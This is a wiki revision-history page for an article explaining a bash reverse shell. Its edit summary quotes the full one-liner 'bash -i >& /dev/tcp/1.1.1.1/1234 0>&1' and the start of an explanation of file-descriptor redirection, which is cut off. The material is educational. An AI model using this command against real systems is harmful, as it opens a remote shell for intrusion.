Bash Reverse Shell Explanation: Revision history

4 October 2023

• curprev 09:5009:50, 4 October 2023‎ Admin talk contribs‎ 2,041 bytes +2,041‎ Created page with "A typical bash reverse shell payload looks like the following, where 1.1.1.1 is your IP address and 1234 is your netcat listener's port. bash -i >& /dev/tcp/1.1.1.1/1234 0>&1 But what the heck does all that mean? The following is my favorite explaination of how it works. <pre> &> file itself is the same as > file 2>&1, that is open file in write-only mode on file descriptor 1, and duplicate that file descriptor 1 to the file descriptor 2, so that both fd 1 and 2 (s..."